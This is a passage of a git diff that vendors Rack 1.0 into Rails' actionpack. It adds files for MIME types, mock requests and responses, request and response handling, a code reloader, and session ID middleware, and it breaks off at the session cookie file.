diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/mime.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/mime.rb
new file mode 100644
index 0000000000..5a6a73a97b
--- /dev/null
+++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/mime.rb
@@ -0,0 +1,204 @@
+module Rack
+ module Mime
+ # Returns String with mime type if found, otherwise use +fallback+.
+ # +ext+ should be filename extension in the '.ext' format that
+ # File.extname(file) returns.
+ # +fallback+ may be any object
+ #
+ # Also see the documentation for MIME_TYPES
+ #
+ # Usage:
+ # Rack::Mime.mime_type('.foo')
+ #
+ # This is a shortcut for:
+ # Rack::Mime::MIME_TYPES.fetch('.foo', 'application/octet-stream')
+
+ def mime_type(ext, fallback='application/octet-stream')
+ MIME_TYPES.fetch(ext, fallback)
+ end
+ module_function :mime_type
+
+ # List of most common mime-types, selected various sources
+ # according to their usefulness in a webserving scope for Ruby
+ # users.
+ #
+ # To amend this list with your local mime.types list you can use:
+ #
+ # require 'webrick/httputils'
+ # list = WEBrick::HTTPUtils.load_mime_types('/etc/mime.types')
+ # Rack::Mime::MIME_TYPES.merge!(list)
+ #
+ # To add the list mongrel provides, use:
+ #
+ # require 'mongrel/handlers'
+ # Rack::Mime::MIME_TYPES.merge!(Mongrel::DirHandler::MIME_TYPES)
+
+ MIME_TYPES = {
+ ".3gp" => "video/3gpp",
+ ".a" => "application/octet-stream",
+ ".ai" => "application/postscript",
+ ".aif" => "audio/x-aiff",
+ ".aiff" => "audio/x-aiff",
+ ".asc" => "application/pgp-signature",
+ ".asf" => "video/x-ms-asf",
+ ".asm" => "text/x-asm",
+ ".asx" => "video/x-ms-asf",
+ ".atom" => "application/atom+xml",
+ ".au" => "audio/basic",
+ ".avi" => "video/x-msvideo",
+ ".bat" => "application/x-msdownload",
+ ".bin" => "application/octet-stream",
+ ".bmp" => "image/bmp",
+ ".bz2" => "application/x-bzip2",
+ ".c" => "text/x-c",
+ ".cab" => "application/vnd.ms-cab-compressed",
+ ".cc" => "text/x-c",
+ ".chm" => "application/vnd.ms-htmlhelp",
+ ".class" => "application/octet-stream",
+ ".com" => "application/x-msdownload",
+ ".conf" => "text/plain",
+ ".cpp" => "text/x-c",
+ ".crt" => "application/x-x509-ca-cert",
+ ".css" => "text/css",
+ ".csv" => "text/csv",
+ ".cxx" => "text/x-c",
+ ".deb" => "application/x-debian-package",
+ ".der" => "application/x-x509-ca-cert",
+ ".diff" => "text/x-diff",
+ ".djv" => "image/vnd.djvu",
+ ".djvu" => "image/vnd.djvu",
+ ".dll" => "application/x-msdownload",
+ ".dmg" => "application/octet-stream",
+ ".doc" => "application/msword",
+ ".dot" => "application/msword",
+ ".dtd" => "application/xml-dtd",
+ ".dvi" => "application/x-dvi",
+ ".ear" => "application/java-archive",
+ ".eml" => "message/rfc822",
+ ".eps" => "application/postscript",
+ ".exe" => "application/x-msdownload",
+ ".f" => "text/x-fortran",
+ ".f77" => "text/x-fortran",
+ ".f90" => "text/x-fortran",
+ ".flv" => "video/x-flv",
+ ".for" => "text/x-fortran",
+ ".gem" => "application/octet-stream",
+ ".gemspec" => "text/x-script.ruby",
+ ".gif" => "image/gif",
+ ".gz" => "application/x-gzip",
+ ".h" => "text/x-c",
+ ".hh" => "text/x-c",
+ ".htm" => "text/html",
+ ".html" => "text/html",
+ ".ico" => "image/vnd.microsoft.icon",
+ ".ics" => "text/calendar",
+ ".ifb" => "text/calendar",
+ ".iso" => "application/octet-stream",
+ ".jar" => "application/java-archive",
+ ".java" => "text/x-java-source",
+ ".jnlp" => "application/x-java-jnlp-file",
+ ".jpeg" => "image/jpeg",
+ ".jpg" => "image/jpeg",
+ ".js" => "application/javascript",
+ ".json" => "application/json",
+ ".log" => "text/plain",
+ ".m3u" => "audio/x-mpegurl",
+ ".m4v" => "video/mp4",
+ ".man" => "text/troff",
+ ".mathml" => "application/mathml+xml",
+ ".mbox" => "application/mbox",
+ ".mdoc" => "text/troff",
+ ".me" => "text/troff",
+ ".mid" => "audio/midi",
+ ".midi" => "audio/midi",
+ ".mime" => "message/rfc822",
+ ".mml" => "application/mathml+xml",
+ ".mng" => "video/x-mng",
+ ".mov" => "video/quicktime",
+ ".mp3" => "audio/mpeg",
+ ".mp4" => "video/mp4",
+ ".mp4v" => "video/mp4",
+ ".mpeg" => "video/mpeg",
+ ".mpg" => "video/mpeg",
+ ".ms" => "text/troff",
+ ".msi" => "application/x-msdownload",
+ ".odp" => "application/vnd.oasis.opendocument.presentation",
+ ".ods" => "application/vnd.oasis.opendocument.spreadsheet",
+ ".odt" => "application/vnd.oasis.opendocument.text",
+ ".ogg" => "application/ogg",
+ ".p" => "text/x-pascal",
+ ".pas" => "text/x-pascal",
+ ".pbm" => "image/x-portable-bitmap",
+ ".pdf" => "application/pdf",
+ ".pem" => "application/x-x509-ca-cert",
+ ".pgm" => "image/x-portable-graymap",
+ ".pgp" => "application/pgp-encrypted",
+ ".pkg" => "application/octet-stream",
+ ".pl" => "text/x-script.perl",
+ ".pm" => "text/x-script.perl-module",
+ ".png" => "image/png",
+ ".pnm" => "image/x-portable-anymap",
+ ".ppm" => "image/x-portable-pixmap",
+ ".pps" => "application/vnd.ms-powerpoint",
+ ".ppt" => "application/vnd.ms-powerpoint",
+ ".ps" => "application/postscript",
+ ".psd" => "image/vnd.adobe.photoshop",
+ ".py" => "text/x-script.python",
+ ".qt" => "video/quicktime",
+ ".ra" => "audio/x-pn-realaudio",
+ ".rake" => "text/x-script.ruby",
+ ".ram" => "audio/x-pn-realaudio",
+ ".rar" => "application/x-rar-compressed",
+ ".rb" => "text/x-script.ruby",
+ ".rdf" => "application/rdf+xml",
+ ".roff" => "text/troff",
+ ".rpm" => "application/x-redhat-package-manager",
+ ".rss" => "application/rss+xml",
+ ".rtf" => "application/rtf",
+ ".ru" => "text/x-script.ruby",
+ ".s" => "text/x-asm",
+ ".sgm" => "text/sgml",
+ ".sgml" => "text/sgml",
+ ".sh" => "application/x-sh",
+ ".sig" => "application/pgp-signature",
+ ".snd" => "audio/basic",
+ ".so" => "application/octet-stream",
+ ".svg" => "image/svg+xml",
+ ".svgz" => "image/svg+xml",
+ ".swf" => "application/x-shockwave-flash",
+ ".t" => "text/troff",
+ ".tar" => "application/x-tar",
+ ".tbz" => "application/x-bzip-compressed-tar",
+ ".tcl" => "application/x-tcl",
+ ".tex" => "application/x-tex",
+ ".texi" => "application/x-texinfo",
+ ".texinfo" => "application/x-texinfo",
+ ".text" => "text/plain",
+ ".tif" => "image/tiff",
+ ".tiff" => "image/tiff",
+ ".torrent" => "application/x-bittorrent",
+ ".tr" => "text/troff",
+ ".txt" => "text/plain",
+ ".vcf" => "text/x-vcard",
+ ".vcs" => "text/x-vcalendar",
+ ".vrml" => "model/vrml",
+ ".war" => "application/java-archive",
+ ".wav" => "audio/x-wav",
+ ".wma" => "audio/x-ms-wma",
+ ".wmv" => "video/x-ms-wmv",
+ ".wmx" => "video/x-ms-wmx",
+ ".wrl" => "model/vrml",
+ ".wsdl" => "application/wsdl+xml",
+ ".xbm" => "image/x-xbitmap",
+ ".xhtml" => "application/xhtml+xml",
+ ".xls" => "application/vnd.ms-excel",
+ ".xml" => "application/xml",
+ ".xpm" => "image/x-xpixmap",
+ ".xsl" => "application/xml",
+ ".xslt" => "application/xslt+xml",
+ ".yaml" => "text/yaml",
+ ".yml" => "text/yaml",
+ ".zip" => "application/zip",
+ }
+ end
+end
diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/mock.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/mock.rb
new file mode 100644
index 0000000000..70852da3db
--- /dev/null
+++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/mock.rb
@@ -0,0 +1,160 @@
+require 'uri'
+require 'stringio'
+require 'rack/lint'
+require 'rack/utils'
+require 'rack/response'
+
+module Rack
+ # Rack::MockRequest helps testing your Rack application without
+ # actually using HTTP.
+ #
+ # After performing a request on a URL with get/post/put/delete, it
+ # returns a MockResponse with useful helper methods for effective
+ # testing.
+ #
+ # You can pass a hash with additional configuration to the
+ # get/post/put/delete.
+ # <tt>:input</tt>:: A String or IO-like to be used as rack.input.
+ # <tt>:fatal</tt>:: Raise a FatalWarning if the app writes to rack.errors.
+ # <tt>:lint</tt>:: If true, wrap the application in a Rack::Lint.
+
+ class MockRequest
+ class FatalWarning < RuntimeError
+ end
+
+ class FatalWarner
+ def puts(warning)
+ raise FatalWarning, warning
+ end
+
+ def write(warning)
+ raise FatalWarning, warning
+ end
+
+ def flush
+ end
+
+ def string
+ ""
+ end
+ end
+
+ DEFAULT_ENV = {
+ "rack.version" => [0,1],
+ "rack.input" => StringIO.new,
+ "rack.errors" => StringIO.new,
+ "rack.multithread" => true,
+ "rack.multiprocess" => true,
+ "rack.run_once" => false,
+ }
+
+ def initialize(app)
+ @app = app
+ end
+
+ def get(uri, opts={}) request("GET", uri, opts) end
+ def post(uri, opts={}) request("POST", uri, opts) end
+ def put(uri, opts={}) request("PUT", uri, opts) end
+ def delete(uri, opts={}) request("DELETE", uri, opts) end
+
+ def request(method="GET", uri="", opts={})
+ env = self.class.env_for(uri, opts.merge(:method => method))
+
+ if opts[:lint]
+ app = Rack::Lint.new(@app)
+ else
+ app = @app
+ end
+
+ errors = env["rack.errors"]
+ MockResponse.new(*(app.call(env) + [errors]))
+ end
+
+ # Return the Rack environment used for a request to +uri+.
+ def self.env_for(uri="", opts={})
+ uri = URI(uri)
+ env = DEFAULT_ENV.dup
+
+ env["REQUEST_METHOD"] = opts[:method] || "GET"
+ env["SERVER_NAME"] = uri.host || "example.org"
+ env["SERVER_PORT"] = uri.port ? uri.port.to_s : "80"
+ env["QUERY_STRING"] = uri.query.to_s
+ env["PATH_INFO"] = (!uri.path || uri.path.empty?) ? "/" : uri.path
+ env["rack.url_scheme"] = uri.scheme || "http"
+
+ env["SCRIPT_NAME"] = opts[:script_name] || ""
+
+ if opts[:fatal]
+ env["rack.errors"] = FatalWarner.new
+ else
+ env["rack.errors"] = StringIO.new
+ end
+
+ opts[:input] ||= ""
+ if String === opts[:input]
+ env["rack.input"] = StringIO.new(opts[:input])
+ else
+ env["rack.input"] = opts[:input]
+ end
+
+ env["CONTENT_LENGTH"] ||= env["rack.input"].length.to_s
+
+ opts.each { |field, value|
+ env[field] = value if String === field
+ }
+
+ env
+ end
+ end
+
+ # Rack::MockResponse provides useful helpers for testing your apps.
+ # Usually, you don't create the MockResponse on your own, but use
+ # MockRequest.
+
+ class MockResponse
+ def initialize(status, headers, body, errors=StringIO.new(""))
+ @status = status.to_i
+
+ @original_headers = headers
+ @headers = Rack::Utils::HeaderHash.new
+ headers.each { |field, values|
+ @headers[field] = values
+ @headers[field] = "" if values.empty?
+ }
+
+ @body = ""
+ body.each { |part| @body << part }
+
+ @errors = errors.string
+ end
+
+ # Status
+ attr_reader :status
+
+ # Headers
+ attr_reader :headers, :original_headers
+
+ def [](field)
+ headers[field]
+ end
+
+
+ # Body
+ attr_reader :body
+
+ def =~(other)
+ @body =~ other
+ end
+
+ def match(other)
+ @body.match other
+ end
+
+
+ # Errors
+ attr_accessor :errors
+
+
+ include Response::Helpers
+ end
+end
diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/recursive.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/recursive.rb
new file mode 100644
index 0000000000..bf8b965925
--- /dev/null
+++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/recursive.rb
@@ -0,0 +1,57 @@
+require 'uri'
+
+module Rack
+ # Rack::ForwardRequest gets caught by Rack::Recursive and redirects
+ # the current request to the app at +url+.
+ #
+ # raise ForwardRequest.new("/not-found")
+ #
+
+ class ForwardRequest < Exception
+ attr_reader :url, :env
+
+ def initialize(url, env={})
+ @url = URI(url)
+ @env = env
+
+ @env["PATH_INFO"] = @url.path
+ @env["QUERY_STRING"] = @url.query if @url.query
+ @env["HTTP_HOST"] = @url.host if @url.host
+ @env["HTTP_PORT"] = @url.port if @url.port
+ @env["rack.url_scheme"] = @url.scheme if @url.scheme
+
+ super "forwarding to #{url}"
+ end
+ end
+
+ # Rack::Recursive allows applications called down the chain to
+ # include data from other applications (by using
+ # <tt>rack['rack.recursive.include'][...]</tt> or raise a
+ # ForwardRequest to redirect internally.
+
+ class Recursive
+ def initialize(app)
+ @app = app
+ end
+
+ def call(env)
+ @script_name = env["SCRIPT_NAME"]
+ @app.call(env.merge('rack.recursive.include' => method(:include)))
+ rescue ForwardRequest => req
+ call(env.merge(req.env))
+ end
+
+ def include(env, path)
+ unless path.index(@script_name) == 0 && (path[@script_name.size] == ?/ ||
+ path[@script_name.size].nil?)
+ raise ArgumentError, "can only include below #{@script_name}, not #{path}"
+ end
+
+ env = env.merge("PATH_INFO" => path, "SCRIPT_NAME" => @script_name,
+ "REQUEST_METHOD" => "GET",
+ "CONTENT_LENGTH" => "0", "CONTENT_TYPE" => "",
+ "rack.input" => StringIO.new(""))
+ @app.call(env)
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/reloader.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/reloader.rb
new file mode 100644
index 0000000000..b17d8c0926
--- /dev/null
+++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/reloader.rb
@@ -0,0 +1,64 @@
+require 'thread'
+
+module Rack
+ # Rack::Reloader checks on every request, but at most every +secs+
+ # seconds, if a file loaded changed, and reloads it, logging to
+ # rack.errors.
+ #
+ # It is recommended you use ShowExceptions to catch SyntaxErrors etc.
+
+ class Reloader
+ def initialize(app, secs=10)
+ @app = app
+ @secs = secs # reload every @secs seconds max
+ @last = Time.now
+ end
+
+ def call(env)
+ if Time.now > @last + @secs
+ Thread.exclusive {
+ reload!(env['rack.errors'])
+ @last = Time.now
+ }
+ end
+
+ @app.call(env)
+ end
+
+ def reload!(stderr=$stderr)
+ need_reload = $LOADED_FEATURES.find_all { |loaded|
+ begin
+ if loaded =~ /\A[.\/]/ # absolute filename or 1.9
+ abs = loaded
+ else
+ abs = $LOAD_PATH.map { |path| ::File.join(path, loaded) }.
+ find { |file| ::File.exist? file }
+ end
+
+ if abs
+ ::File.mtime(abs) > @last - @secs rescue false
+ else
+ false
+ end
+ end
+ }
+
+ need_reload.each { |l|
+ $LOADED_FEATURES.delete l
+ }
+
+ need_reload.each { |to_load|
+ begin
+ if require to_load
+ stderr.puts "#{self.class}: reloaded `#{to_load}'"
+ end
+ rescue LoadError, SyntaxError => e
+ raise e # Possibly ShowExceptions
+ end
+ }
+
+ stderr.flush
+ need_reload
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/request.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/request.rb
new file mode 100644
index 0000000000..d77fa26575
--- /dev/null
+++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/request.rb
@@ -0,0 +1,241 @@
+require 'rack/utils'
+
+module Rack
+ # Rack::Request provides a convenient interface to a Rack
+ # environment. It is stateless, the environment +env+ passed to the
+ # constructor will be directly modified.
+ #
+ # req = Rack::Request.new(env)
+ # req.post?
+ # req.params["data"]
+ #
+ # The environment hash passed will store a reference to the Request object
+ # instantiated so that it will only instantiate if an instance of the Request
+ # object doesn't already exist.
+
+ class Request
+ # The environment of the request.
+ attr_reader :env
+
+ def self.new(env)
+ if self == Rack::Request
+ env["rack.request"] ||= super
+ else
+ super
+ end
+ end
+
+ def initialize(env)
+ @env = env
+ end
+
+ def body; @env["rack.input"] end
+ def scheme; @env["rack.url_scheme"] end
+ def script_name; @env["SCRIPT_NAME"].to_s end
+ def path_info; @env["PATH_INFO"].to_s end
+ def port; @env["SERVER_PORT"].to_i end
+ def request_method; @env["REQUEST_METHOD"] end
+ def query_string; @env["QUERY_STRING"].to_s end
+ def content_length; @env['CONTENT_LENGTH'] end
+ def content_type; @env['CONTENT_TYPE'] end
+
+ # The media type (type/subtype) portion of the CONTENT_TYPE header
+ # without any media type parameters. e.g., when CONTENT_TYPE is
+ # "text/plain;charset=utf-8", the media-type is "text/plain".
+ #
+ # For more information on the use of media types in HTTP, see:
+ # http://www.w3.org/Protocols/rfc2616/rfc2616-sec3.html#sec3.7
+ def media_type
+ content_type && content_type.split(/\s*[;,]\s*/, 2)[0].downcase
+ end
+
+ # The media type parameters provided in CONTENT_TYPE as a Hash, or
+ # an empty Hash if no CONTENT_TYPE or media-type parameters were
+ # provided. e.g., when the CONTENT_TYPE is "text/plain;charset=utf-8",
+ # this method responds with the following Hash:
+ # { 'charset' => 'utf-8' }
+ def media_type_params
+ return {} if content_type.nil?
+ content_type.split(/\s*[;,]\s*/)[1..-1].
+ collect { |s| s.split('=', 2) }.
+ inject({}) { |hash,(k,v)| hash[k.downcase] = v ; hash }
+ end
+
+ # The character set of the request body if a "charset" media type
+ # parameter was given, or nil if no "charset" was specified. Note
+ # that, per RFC2616, text/* media types that specify no explicit
+ # charset are to be considered ISO-8859-1.
+ def content_charset
+ media_type_params['charset']
+ end
+
+ def host
+ # Remove port number.
+ (@env["HTTP_HOST"] || @env["SERVER_NAME"]).gsub(/:\d+\z/, '')
+ end
+
+ def script_name=(s); @env["SCRIPT_NAME"] = s.to_s end
+ def path_info=(s); @env["PATH_INFO"] = s.to_s end
+
+ def get?; request_method == "GET" end
+ def post?; request_method == "POST" end
+ def put?; request_method == "PUT" end
+ def delete?; request_method == "DELETE" end
+ def head?; request_method == "HEAD" end
+
+ # The set of form-data media-types. Requests that do not indicate
+ # one of the media types presents in this list will not be eligible
+ # for form-data / param parsing.
+ FORM_DATA_MEDIA_TYPES = [
+ nil,
+ 'application/x-www-form-urlencoded',
+ 'multipart/form-data'
+ ]
+
+ # Determine whether the request body contains form-data by checking
+ # the request media_type against registered form-data media-types:
+ # "application/x-www-form-urlencoded" and "multipart/form-data". The
+ # list of form-data media types can be modified through the
+ # +FORM_DATA_MEDIA_TYPES+ array.
+ def form_data?
+ FORM_DATA_MEDIA_TYPES.include?(media_type)
+ end
+
+ # Returns the data recieved in the query string.
+ def GET
+ if @env["rack.request.query_string"] == query_string
+ @env["rack.request.query_hash"]
+ else
+ @env["rack.request.query_string"] = query_string
+ @env["rack.request.query_hash"] =
+ Utils.parse_nested_query(query_string)
+ end
+ end
+
+ # Returns the data recieved in the request body.
+ #
+ # This method support both application/x-www-form-urlencoded and
+ # multipart/form-data.
+ def POST
+ if @env["rack.request.form_input"].eql? @env["rack.input"]
+ @env["rack.request.form_hash"]
+ elsif form_data?
+ @env["rack.request.form_input"] = @env["rack.input"]
+ unless @env["rack.request.form_hash"] =
+ Utils::Multipart.parse_multipart(env)
+ form_vars = @env["rack.input"].read
+
+ # Fix for Safari Ajax postings that always append \0
+ form_vars.sub!(/\0\z/, '')
+
+ @env["rack.request.form_vars"] = form_vars
+ @env["rack.request.form_hash"] = Utils.parse_nested_query(form_vars)
+
+ begin
+ @env["rack.input"].rewind if @env["rack.input"].respond_to?(:rewind)
+ rescue Errno::ESPIPE
+ # Handles exceptions raised by input streams that cannot be rewound
+ # such as when using plain CGI under Apache
+ end
+ end
+ @env["rack.request.form_hash"]
+ else
+ {}
+ end
+ end
+
+ # The union of GET and POST data.
+ def params
+ self.put? ? self.GET : self.GET.update(self.POST)
+ rescue EOFError => e
+ self.GET
+ end
+
+ # shortcut for request.params[key]
+ def [](key)
+ params[key.to_s]
+ end
+
+ # shortcut for request.params[key] = value
+ def []=(key, value)
+ params[key.to_s] = value
+ end
+
+ # like Hash#values_at
+ def values_at(*keys)
+ keys.map{|key| params[key] }
+ end
+
+ # the referer of the client or '/'
+ def referer
+ @env['HTTP_REFERER'] || '/'
+ end
+ alias referrer referer
+
+
+ def cookies
+ return {} unless @env["HTTP_COOKIE"]
+
+ if @env["rack.request.cookie_string"] == @env["HTTP_COOKIE"]
+ @env["rack.request.cookie_hash"]
+ else
+ @env["rack.request.cookie_string"] = @env["HTTP_COOKIE"]
+ # According to RFC 2109:
+ # If multiple cookies satisfy the criteria above, they are ordered in
+ # the Cookie header such that those with more specific Path attributes
+ # precede those with less specific. Ordering with respect to other
+ # attributes (e.g., Domain) is unspecified.
+ @env["rack.request.cookie_hash"] =
+ Utils.parse_query(@env["rack.request.cookie_string"], ';,').inject({}) {|h,(k,v)|
+ h[k] = Array === v ? v.first : v
+ h
+ }
+ end
+ end
+
+ def xhr?
+ @env["HTTP_X_REQUESTED_WITH"] == "XMLHttpRequest"
+ end
+
+ # Tries to return a remake of the original request URL as a string.
+ def url
+ url = scheme + "://"
+ url << host
+
+ if scheme == "https" && port != 443 ||
+ scheme == "http" && port != 80
+ url << ":#{port}"
+ end
+
+ url << fullpath
+
+ url
+ end
+
+ def fullpath
+ path = script_name + path_info
+ path << "?" << query_string unless query_string.empty?
+ path
+ end
+
+ def accept_encoding
+ @env["HTTP_ACCEPT_ENCODING"].to_s.split(/,\s*/).map do |part|
+ m = /^([^\s,]+?)(?:;\s*q=(\d+(?:\.\d+)?))?$/.match(part) # From WEBrick
+
+ if m
+ [m[1], (m[2] || 1.0).to_f]
+ else
+ raise "Invalid value for Accept-Encoding: #{part.inspect}"
+ end
+ end
+ end
+
+ def ip
+ if addr = @env['HTTP_X_FORWARDED_FOR']
+ addr.split(',').last.strip
+ else
+ @env['REMOTE_ADDR']
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/response.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/response.rb
new file mode 100644
index 0000000000..caf60d5b19
--- /dev/null
+++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/response.rb
@@ -0,0 +1,179 @@
+require 'rack/request'
+require 'rack/utils'
+
+module Rack
+ # Rack::Response provides a convenient interface to create a Rack
+ # response.
+ #
+ # It allows setting of headers and cookies, and provides useful
+ # defaults (a OK response containing HTML).
+ #
+ # You can use Response#write to iteratively generate your response,
+ # but note that this is buffered by Rack::Response until you call
+ # +finish+. +finish+ however can take a block inside which calls to
+ # +write+ are syncronous with the Rack response.
+ #
+ # Your application's +call+ should end returning Response#finish.
+
+ class Response
+ attr_accessor :length
+
+ def initialize(body=[], status=200, header={}, &block)
+ @status = status
+ @header = Utils::HeaderHash.new({"Content-Type" => "text/html"}.
+ merge(header))
+
+ @writer = lambda { |x| @body << x }
+ @block = nil
+ @length = 0
+
+ @body = []
+
+ if body.respond_to? :to_str
+ write body.to_str
+ elsif body.respond_to?(:each)
+ body.each { |part|
+ write part.to_s
+ }
+ else
+ raise TypeError, "stringable or iterable required"
+ end
+
+ yield self if block_given?
+ end
+
+ attr_reader :header
+ attr_accessor :status, :body
+
+ def [](key)
+ header[key]
+ end
+
+ def []=(key, value)
+ header[key] = value
+ end
+
+ def set_cookie(key, value)
+ case value
+ when Hash
+ domain = "; domain=" + value[:domain] if value[:domain]
+ path = "; path=" + value[:path] if value[:path]
+ # According to RFC 2109, we need dashes here.
+ # N.B.: cgi.rb uses spaces...
+ expires = "; expires=" + value[:expires].clone.gmtime.
+ strftime("%a, %d-%b-%Y %H:%M:%S GMT") if value[:expires]
+ secure = "; secure" if value[:secure]
+ httponly = "; HttpOnly" if value[:httponly]
+ value = value[:value]
+ end
+ value = [value] unless Array === value
+ cookie = Utils.escape(key) + "=" +
+ value.map { |v| Utils.escape v }.join("&") +
+ "#{domain}#{path}#{expires}#{secure}#{httponly}"
+
+ case self["Set-Cookie"]
+ when Array
+ self["Set-Cookie"] << cookie
+ when String
+ self["Set-Cookie"] = [self["Set-Cookie"], cookie]
+ when nil
+ self["Set-Cookie"] = cookie
+ end
+ end
+
+ def delete_cookie(key, value={})
+ unless Array === self["Set-Cookie"]
+ self["Set-Cookie"] = [self["Set-Cookie"]].compact
+ end
+
+ self["Set-Cookie"].reject! { |cookie|
+ cookie =~ /\A#{Utils.escape(key)}=/
+ }
+
+ set_cookie(key,
+ {:value => '', :path => nil, :domain => nil,
+ :expires => Time.at(0) }.merge(value))
+ end
+
+
+ def finish(&block)
+ @block = block
+
+ if [204, 304].include?(status.to_i)
+ header.delete "Content-Type"
+ [status.to_i, header.to_hash, []]
+ else
+ [status.to_i, header.to_hash, self]
+ end
+ end
+ alias to_a finish # For *response
+
+ def each(&callback)
+ @body.each(&callback)
+ @writer = callback
+ @block.call(self) if @block
+ end
+
+ # Append to body and update Content-Length.
+ #
+ # NOTE: Do not mix #write and direct #body access!
+ #
+ def write(str)
+ s = str.to_s
+ @length += s.size
+ @writer.call s
+
+ header["Content-Length"] = @length.to_s
+ str
+ end
+
+ def close
+ body.close if body.respond_to?(:close)
+ end
+
+ def empty?
+ @block == nil && @body.empty?
+ end
+
+ alias headers header
+
+ module Helpers
+ def invalid?; @status < 100 || @status >= 600; end
+
+ def informational?; @status >= 100 && @status < 200; end
+ def successful?; @status >= 200 && @status < 300; end
+ def redirection?; @status >= 300 && @status < 400; end
+ def client_error?; @status >= 400 && @status < 500; end
+ def server_error?; @status >= 500 && @status < 600; end
+
+ def ok?; @status == 200; end
+ def forbidden?; @status == 403; end
+ def not_found?; @status == 404; end
+
+ def redirect?; [301, 302, 303, 307].include? @status; end
+ def empty?; [201, 204, 304].include? @status; end
+
+ # Headers
+ attr_reader :headers, :original_headers
+
+ def include?(header)
+ !!headers[header]
+ end
+
+ def content_type
+ headers["Content-Type"]
+ end
+
+ def content_length
+ cl = headers["Content-Length"]
+ cl ? cl.to_i : cl
+ end
+
+ def location
+ headers["Location"]
+ end
+ end
+
+ include Helpers
+ end
+end
diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/session/abstract/id.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/session/abstract/id.rb
new file mode 100644
index 0000000000..218144c17f
--- /dev/null
+++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/session/abstract/id.rb
@@ -0,0 +1,142 @@
+# AUTHOR: blink <blinketje@gmail.com>; blink#ruby-lang@irc.freenode.net
+# bugrep: Andreas Zehnder
+
+require 'time'
+require 'rack/request'
+require 'rack/response'
+
+module Rack
+
+ module Session
+
+ module Abstract
+
+ # ID sets up a basic framework for implementing an id based sessioning
+ # service. Cookies sent to the client for maintaining sessions will only
+ # contain an id reference. Only #get_session and #set_session are
+ # required to be overwritten.
+ #
+ # All parameters are optional.
+ # * :key determines the name of the cookie, by default it is
+ # 'rack.session'
+ # * :path, :domain, :expire_after, :secure, and :httponly set the related
+ # cookie options as by Rack::Response#add_cookie
+ # * :defer will not set a cookie in the response.
+ # * :renew (implementation dependent) will prompt the generation of a new
+ # session id, and migration of data to be referenced at the new id. If
+ # :defer is set, it will be overridden and the cookie will be set.
+ # * :sidbits sets the number of bits in length that a generated session
+ # id will be.
+ #
+ # These options can be set on a per request basis, at the location of
+ # env['rack.session.options']. Additionally the id of the session can be
+ # found within the options hash at the key :id. It is highly not
+ # recommended to change its value.
+ #
+ # Is Rack::Utils::Context compatible.
+
+ class ID
+ DEFAULT_OPTIONS = {
+ :path => '/',
+ :domain => nil,
+ :expire_after => nil,
+ :secure => false,
+ :httponly => true,
+ :defer => false,
+ :renew => false,
+ :sidbits => 128
+ }
+
+ attr_reader :key, :default_options
+ def initialize(app, options={})
+ @app = app
+ @key = options[:key] || "rack.session"
+ @default_options = self.class::DEFAULT_OPTIONS.merge(options)
+ end
+
+ def call(env)
+ context(env)
+ end
+
+ def context(env, app=@app)
+ load_session(env)
+ status, headers, body = app.call(env)
+ commit_session(env, status, headers, body)
+ end
+
+ private
+
+ # Generate a new session id using Ruby #rand. The size of the
+ # session id is controlled by the :sidbits option.
+ # Monkey patch this to use custom methods for session id generation.
+
+ def generate_sid
+ "%0#{@default_options[:sidbits] / 4}x" %
+ rand(2**@default_options[:sidbits] - 1)
+ end
+
+ # Extracts the session id from provided cookies and passes it and the
+ # environment to #get_session. It then sets the resulting session into
+ # 'rack.session', and places options and session metadata into
+ # 'rack.session.options'.
+
+ def load_session(env)
+ request = Rack::Request.new(env)
+ session_id = request.cookies[@key]
+
+ begin
+ session_id, session = get_session(env, session_id)
+ env['rack.session'] = session
+ rescue
+ env['rack.session'] = Hash.new
+ end
+
+ env['rack.session.options'] = @default_options.
+ merge(:id => session_id)
+ end
+
+ # Acquires the session from the environment and the session id from
+ # the session options and passes them to #set_session. If successful
+ # and the :defer option is not true, a cookie will be added to the
+ # response with the session's id.
+
+ def commit_session(env, status, headers, body)
+ session = env['rack.session']
+ options = env['rack.session.options']
+ session_id = options[:id]
+
+ if not session_id = set_session(env, session_id, session, options)
+ env["rack.errors"].puts("Warning! #{self.class.name} failed to save session. Content dropped.")
+ [status, headers, body]
+ elsif options[:defer] and not options[:renew]
+ env["rack.errors"].puts("Defering cookie for #{session_id}") if $VERBOSE
+ [status, headers, body]
+ else
+ cookie = Hash.new
+ cookie[:value] = session_id
+ cookie[:expires] = Time.now + options[:expire_after] unless options[:expire_after].nil?
+ response = Rack::Response.new(body, status, headers)
+ response.set_cookie(@key, cookie.merge(options))
+ response.to_a
+ end
+ end
+
+ # All thread safety and session retrival proceedures should occur here.
+ # Should return [session_id, session].
+ # If nil is provided as the session id, generation of a new valid id
+ # should occur within.
+
+ def get_session(env, sid)
+ raise '#get_session not implemented.'
+ end
+
+ # All thread safety and session storage proceedures should occur here.
+ # Should return true or false dependant on whether or not the session
+ # was saved or not.
+ def set_session(env, sid, session, options)
+ raise '#set_session not implemented.'
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/session/cookie.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/session/cookie.rb
new file mode 100644
index 0000000000..eace9bd0c6
--- /dev/null
+++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/session/cookie.rb
@@ -0,0 +1,91 @@
